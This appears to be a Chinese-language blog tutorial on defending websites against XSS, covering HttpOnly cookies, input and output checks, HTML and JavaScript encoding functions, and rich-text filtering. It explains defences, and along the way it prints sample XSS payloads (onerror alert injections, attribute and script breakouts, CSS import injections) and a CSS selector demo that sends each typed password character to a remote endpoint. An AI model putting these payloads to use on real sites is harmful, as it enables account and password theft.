簡介
XSS
的防禦很複雜,並不是一套防禦機制就能就解決的問題,它需要具體業務具體實現。
目前來說,流行的瀏覽器內都內建了一些 XSS 過濾器
,但是這隻能防禦一部分常見的 XSS
,而對於網站來說,也應該一直尋求優秀的解決方案,保護網站及使用者的安全,我將闡述一下網站在設計上該如何避免 XSS
的攻擊。
HttpOnly
HttpOnly
最早是由微軟提出,並在 IE 6
中實現的,至今已經逐漸成為一個標準,各大瀏覽器都支援此標準。具體含義就是,如果某個 Cookie
帶有 HttpOnly
屬性,那麼這一條 Cookie
將被禁止讀取,也就是說,JavaScript
讀取不到此條 Cookie
,不過在與服務端互動的時候,Http Request
包中仍然會帶上這個 Cookie
資訊,即我們的正常互動不受影響。
Cookie
是通過 http response header
種到瀏覽器的,我們來看看設定 Cookie
的語法:
Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
複製程式碼
第一個是 name=value
的鍵值對,然後是一些屬性,比如失效時間,作用的 domain
和 path
,最後還有兩個標誌位,可以設定為 secure
和 HttpOnly
。
栗子:
// 利用 express 這個輪子設定cookie
res.cookie('myCookie', 'test', {
httpOnly: true
})
res.cookie('myCookie2', 'test', {
httpOnly: false
})
複製程式碼
然後回到瀏覽器檢視:
這個時候我們試著在控制檯輸出:
我們發現,只有沒有設定 HttpOnly
的 myCookie2
輸出了出來,這樣一來, javascript
就讀取不到這個 Cookie
資訊了。
HttpOnly
的設定過程十分簡單,而且效果明顯,不過需要注意的是,所有需要設定 Cookie
的地方,都要給關鍵的 Cookie
都加上 HttpOnly
,若有遺漏則會功虧一簣。
但是, HttpOnly
不是萬能的,新增了 HttpOnly
不等於解決了 XSS
問題。
嚴格的說,HttpOnly
並非為了對抗 XSS
,HttpOnly
解決的是 XSS
後的 Cookie
劫持問題,但是 XSS
攻擊帶來的不僅僅是 Cookie
劫持問題,還有竊取使用者資訊,模擬身份登入,操作使用者賬戶等一系列行為。
使用 HttpOnly
有助於緩解 XSS
攻擊,但是仍然需要其他能夠解決 XSS
漏洞的方案。
輸入檢查
記住一點:不要相信任何輸入的內容。
無論是不是做了安全校驗,都必須進行過濾操作,而且需要後臺配合過濾,如果後端的檢查校驗還做得不好,那就可能被攻破。
輸入檢查在更多的時候被用於格式檢驗,例如使用者名稱只能以字母和數字組合,手機號碼只能有 11 位且全部為數字,否則即為非法。
這些格式檢查類似於白名單效果,限制輸入允許的字元,讓一下特殊字元的攻擊失效。
目前網上有很多開源的 XSS Filter
,這些 XSS Filter
目前來說還是有些效果的,能只能檢驗輸入內容,高階一點的還會匹配 XSS
特徵,例如內容是否包含了 <script>
,javascript
等敏感字元,但是這些 XSS Filter
只是獲取到了使用者的輸入內容,並不瞭解其上下文含義,很多時候會誤過濾。
例如:
使用者輸入暱稱:<|無敵是多麼雞毛|>
,對於 XSS Filter
來說,<>
就是特殊字元,需要過濾然後過濾成為 |無敵是多麼雞毛|
,直接改變了使用者的暱稱。
所以,我們不能完全信賴開源的 XSS Filter
,很多場景需要我們自己配置規則,進行過濾。
輸出檢查
不要以為在輸入的時候進行過濾就萬事大吉了,惡意攻擊者們可能會層層繞過防禦機制進行 XSS
攻擊,一般來說,所有需要輸出到 HTML
頁面的變數,全部需要使用編碼或者轉義來防禦。
HTMLEncode
針對 HTML
程式碼的編碼方式是 HTMLEncode
,它的作用是將字串轉換成 HTMLEntities
。
目前來說,為了對抗 XSS
,以下轉義內容是必不可少的:
特殊字元 | 實體編碼 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
PS. ;
是必須的,而且要和前面的字元連線起來,我這邊分開是因為,markdown
就是 HTML
語言,我連上就直接轉義成前面的特殊字元了,/(ㄒoㄒ)/~~
來看看效果:
可以看到,這些編碼在 HTML
上已經成功轉成了對應的符號。
當然,上面的只是最基本而且是最必要的,HTMLEncode
還有很多很多,我這邊列舉了一些(請允許我用程式碼的形式寫出來,這樣就不會轉義了):
const HtmlEncode = (str) => {
// 設定 16 進位制編碼,方便拼接
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
// 賦值需要轉換的HTML
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
// 獲取每個位置上的字元
let p = preescape.charAt(i);
// 重新編碼組裝
escaped = escaped + escapeCharx(p);
}
return escaped;
// HTMLEncode 主要函式
// original 為每次迴圈出來的字元
function escapeCharx(original) {
// 預設查到這個字元編碼
let found = true;
// charCodeAt 獲取 16 進位制字元編碼
const thechar = original.charCodeAt(0);
switch (thechar) {
case 10: return "<br/>"; break; // 新的一行
case 32: return " "; break; // space
case 34: return """; break; // "
case 38: return "&"; break; // &
case 39: return "'"; break; // '
case 47: return "/"; break; // /
case 60: return "<"; break; // <
case 62: return ">"; break; // >
case 198: return "Æ"; break; // Æ
case 193: return "Á"; break; // Á
case 194: return "Â"; break; // Â
case 192: return "À"; break; // À
case 197: return "Å"; break; // Å
case 195: return "Ã"; break; // Ã
case 196: return "Ä"; break; // Ä
case 199: return "Ç"; break; // Ç
case 208: return "Ð"; break; // Ð
case 201: return "É"; break; // É
case 202: return "Ê"; break;
case 200: return "È"; break;
case 203: return "Ë"; break;
case 205: return "Í"; break;
case 206: return "Î"; break;
case 204: return "Ì"; break;
case 207: return "Ï"; break;
case 209: return "Ñ"; break;
case 211: return "Ó"; break;
case 212: return "Ô"; break;
case 210: return "Ò"; break;
case 216: return "Ø"; break;
case 213: return "Õ"; break;
case 214: return "Ö"; break;
case 222: return "Þ"; break;
case 218: return "Ú"; break;
case 219: return "Û"; break;
case 217: return "Ù"; break;
case 220: return "Ü"; break;
case 221: return "Ý"; break;
case 225: return "á"; break;
case 226: return "â"; break;
case 230: return "æ"; break;
case 224: return "à"; break;
case 229: return "å"; break;
case 227: return "ã"; break;
case 228: return "ä"; break;
case 231: return "ç"; break;
case 233: return "é"; break;
case 234: return "ê"; break;
case 232: return "è"; break;
case 240: return "ð"; break;
case 235: return "ë"; break;
case 237: return "í"; break;
case 238: return "î"; break;
case 236: return "ì"; break;
case 239: return "ï"; break;
case 241: return "ñ"; break;
case 243: return "ó"; break;
case 244: return "ô"; break;
case 242: return "ò"; break;
case 248: return "ø"; break;
case 245: return "õ"; break;
case 246: return "ö"; break;
case 223: return "ß"; break;
case 254: return "þ"; break;
case 250: return "ú"; break;
case 251: return "û"; break;
case 249: return "ù"; break;
case 252: return "ü"; break;
case 253: return "ý"; break;
case 255: return "ÿ"; break;
case 162: return "¢"; break;
case '\r': break;
default: found = false; break;
}
if (!found) {
// 如果和上面內容不匹配且字元編碼大於127的話,用unicode(非常嚴格模式)
if (thechar > 127) {
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";";
} else {
return original;
}
}
}
}
複製程式碼
emmmm……作者比較懶,剩下的註釋自己補充,這應該是比較全的 HTMLEncode
編碼轉換了,大家可以直接拿去用(可以給個贊不~),來讓我們測試一下:
<div id="id"></div>
複製程式碼
// 當我們輸入:
document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>'
複製程式碼
頁面不可避免的發生了 XSS
注入:
// 當我們利用 HTMLEncode 之後
document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>')
console.log(HtmlEncode('<img onerror=alert(1) src=1/>'))
複製程式碼
發現頁面將輸入的內容完全呈現了:
JavaScriptEncode
JavaScriptEncode
與 HTMLEncode
的編碼方式不同,它需要用 \
對特殊字元進行轉義。
在對抗 XSS
時,還要求輸出的變數必須在引號內部,以免造成安全問題,可是很多開發者並沒有這種習慣,這樣只能使用更為嚴格的 JavaScriptEncode
來保證資料安全:除了數字,字元之外的所有字元,小於127的字元編碼都使用十六進位制 \xHH
的方式進行編碼,大於用unicode(非常嚴格模式)。
同樣是程式碼的方式展現出來:
//使用“\”對特殊字元進行轉義,除數字字母之外,小於127使用16進位制“\xHH”的方式進行編碼,大於用unicode(非常嚴格模式)。
// 大部分程式碼和上面一樣,我就不寫註釋了
const JavaScriptEncode = function (str) {
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
escaped = escaped + encodeCharx(preescape.charAt(i));
}
return escaped;
// 小於127轉換成十六進位制
function changeTo16Hex(charCode) {
return "\\x" + charCode.charCodeAt(0).toString(16);
}
function encodeCharx(original) {
let found = true;
const thecharchar = original.charAt(0);
const thechar = original.charCodeAt(0);
switch (thecharchar) {
case '\n': return "\\n"; break; //newline
case '\r': return "\\r"; break; //Carriage return
case '\'': return "\\'"; break;
case '"': return "\\\""; break;
case '\&': return "\\&"; break;
case '\\': return "\\\\"; break;
case '\t': return "\\t"; break;
case '\b': return "\\b"; break;
case '\f': return "\\f"; break;
case '/': return "\\x2F"; break;
case '<': return "\\x3C"; break;
case '>': return "\\x3E"; break;
default: found = false; break;
}
if (!found) {
if (thechar > 47 && thechar < 58) { //數字
return original;
}
if (thechar > 64 && thechar < 91) { //大寫字母
return original;
}
if (thechar > 96 && thechar < 123) { //小寫字母
return original;
}
if (thechar > 127) { //大於127用unicode
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
} else {
return changeTo16Hex(original);
}
}
}
}
複製程式碼
除了 HTMLEncode
和 JavaScript
外,還有許多用於各種情況的編碼函式,比如 XMLEncode
、JSONEncode
等。
編碼函式需要在適當的情況下用適當的函式,需要注意的是,編碼之後資料長度發生改變,如果檔案對資料長度有所限制的話,可能會影響到某些功能。我們在使用編碼函式時,一定要注意這個細節,以免產生不必要的 bug
。
正確的防禦 XSS
上面說了兩種轉義只是為了設計個人能更好的 XSS
防禦方案,但是我們需要認清 XSS
產生的本質原因。
XSS
的本質還是一種 HTML 注入
,使用者的資料被當成了 HTML
程式碼一部分來執行,從而混淆了原本的語意,產生了新的語意。
如果網站使用了 MVC(MVVM)
結構,那麼 XSS
就會發生在 View
層,也就是變數拼接到頁面時產生的,所以在使用者提交資料的時候進行輸入檢查,並不是真正在被攻擊的地方做防禦,而是預防攻擊,下面,我將總結一些 XSS
發生的場景,再一一解決。
在 HTML
標籤中輸出
在 HTML
標籤中直接輸出變數,沒有做任何處理,會導致 XSS
。
<a href=# ><img src=1 onerror=alert(1)></a>
複製程式碼
這種方式的解決方案是,所有需要輸出到頁面的元素全部通過 HTMLEncode
。
在 HTML
屬性中輸出
在和 HTML
標籤中輸出攻擊方式類似,只不過輸出的內容會自動閉合標籤。
<a href="我是變數" ></a>
<!-- 我是變數: "><img src=1 onerror=alert(1)><" -->
<!-- 插入之後變為 -->
<a href=""><img src=1 onerror=alert(1)><""></a>
複製程式碼
這種方式的防禦方法仍然是 HTMLEncode
。
在 <script>
標籤中輸出
假設我們的變數都在引號內部:
let a = "我是變數"
// 我是變數 = ";alert(1);//
a = "";alert(1);//"
複製程式碼
攻擊者只需要閉合標籤就能實行攻擊,目前的防禦方法為 JavaScriptEncode
。
在 CSS
中輸出
在 CSS
中或者 style
標籤或者 style attribute
中形成的攻擊花樣非常多,總體上類似於下面幾個例子:
<style>@import url('http:xxxxx')</style>
<style>@import 'http:xxxxx'</style>
<style>li {list-style-image: url('xxxxxx')}</style>
<style>body {binding:url('xxxxxxxxxx')}</style>
<div style='background-image: url(xxxx)'></div>
<div style='width: expression(xxxxx)'></div>
複製程式碼
要解決 CSS
的攻擊問題,一方面要嚴格控制使用者將變數輸入style
標籤內,另一方面不要引用未知的 CSS
檔案,如果一定有使用者改變 CSS
變數這種需求的話,可以使用 OWASP ESAPI
中的 encodeForCSS()
函式。
一個很典型的第三方 CSS
庫攻擊的案例:
input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") }
input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") }
input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") }
input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") }
input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") }
input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") }
input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") }
input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") }
input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") }
input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") }
...
複製程式碼
剩下的就不寫了,就是將所有鍵盤能輸入的字元都寫進去。
input[type="password"]
是css選擇器,作用是選擇密碼輸入框,[value$="0"]
表示匹配輸入的值是以 0 結尾的。
所以如果你在密碼框中輸入 0 ,就去請求 http://localhost:3000/0
介面,但是瀏覽器預設情況下是不會將使用者輸入的值儲存在 value
屬性中,但是有的框架會同步這些值,例如React
。
我們模擬同步 value
值:
<body>
<input type="password" value="" id="pwd">
</body>
<script>
const pwd = document.querySelector('#pwd');
pwd.oninput = (e) => {
pwd.attributes.value.value = e.target.value
}
</script>
複製程式碼
然後我們看看效果:
看!你的密碼都被髮送到遠端了,所以輸 CSS
也是 XSS
攻擊的手段之一,只有想不到,沒有做不到~
在 URL
中輸出
在地址張輸出也比較複雜。一般來說 URL
的 path
或者 search
中進行攻擊直接使用 URLEncode
即可。URLEncode
會將字串轉換為 %HH
的形式,類似空格就是 %20
。
可能的攻擊方法就是:
<!-- 原始 URL -->
<a href="http://localhost:3000/?test=我是變數"></a>
<!-- 攻擊 URL -->
<a href="http://localhost:3000/?test=" onclick=alert(1)""></a>
<!-- URLEncode -->
<a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a>
複製程式碼
但是是否用了 URLEncode
就萬事大吉了呢?
不不不
如果整個 URL
被使用者控制,那麼前面的 http://
, localhost:3000
等部分被轉義不就亂套了,這些部分是不能被轉義的。
一個 URL
的組成如下:
[Protocal][Host][Path][Search][Hash]
栗子:
http://localhost:3000/a/b/c?search=123#666aaa
[Protocal]
對應 http://
[Host]
對應 localhost:3000
[Path]
對應 /a/b/c
[Search]
對應 ?search=123
[Hash]
對應 #666aaa
一般來說,如果變數是整個 URL
,則應該先檢查變數是否以 http
開頭,在此之後再對裡面的變數進行 URLEncode
。
富文字處理
在一些網站,網站允許使用者富含 HTML
標籤的程式碼,比如文字里面要有圖片、視訊之類,這些文字展現出來全都是依靠 HTML
程式碼來實現。
那麼,我們需要如何區分安全的 富文字
和 XSS
攻擊呢?
我正好在華為做過相關的富文字過濾操作,基本的思想就是:
- 首先進行輸入檢查,保證使用者輸入的是完整的
HTML
程式碼,而不是有拼接的程式碼 - 通過
htmlParser
解析出HTML
程式碼的標籤、屬性、事件 富文字
的事件
肯定要被禁止,因為富文字
並不需要事件
這種東西,另外一些危險的標籤也需要禁止,例如:<iframe>
,<script>
,<base>
,<form>
等- 利用白名單機制,只允許安全的標籤嵌入,例如:
<a>
,<img>
,div
等,白名單不僅僅適用於標籤,也適用於屬性
- 過濾使用者
CSS
,檢查是否有危險程式碼
小結
理論上來說,XSS
漏洞雖然複雜,但是卻是可以徹底解決掉的,在設計 XSS
解決方案時,要結合目前的業務需求,從業務風險角度定義每個 XSS
漏洞,針對不同的場景使用不同的方法,同時,很多開源的專案可以借鑑參考,完善自己的 XSS
解決方案。